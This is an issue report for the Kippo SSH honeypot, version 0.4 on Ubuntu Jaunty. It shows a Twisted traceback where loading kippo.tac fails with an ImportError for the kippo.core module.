File "/usr/lib/python2.6/dist-packages/twisted/scripts/twistd.py", line 23, in runApp
_SomeApplicationRunner(config).run()
File "/usr/lib/python2.6/dist-packages/twisted/application/app.py", line 411, in run
self.application = self.createOrGetApplication()
File "/usr/lib/python2.6/dist-packages/twisted/application/app.py", line 494, in createOrGetApplication
application = getApplication(self.config, passphrase)
--- ---
File "/usr/lib/python2.6/dist-packages/twisted/application/app.py", line 505, in getApplication
application = service.loadApplication(filename, style, passphrase)
File "/usr/lib/python2.6/dist-packages/twisted/application/service.py", line 390, in loadApplication
application = sob.loadValueFromFile(filename, 'application', passphrase)
File "/usr/lib/python2.6/dist-packages/twisted/persisted/sob.py", line 215, in loadValueFromFile
exec fileObj in d, d
File "kippo.tac", line 16, in
from kippo.core import honeypot
exceptions.ImportError: No module named kippo.core

Failed to load application: No module named kippo.core What version of the product are you using? On what operating system? 0.4 on Ubuntu jaunty

Original issue: http://code.google.com/p/kippo/issues/detail?id=18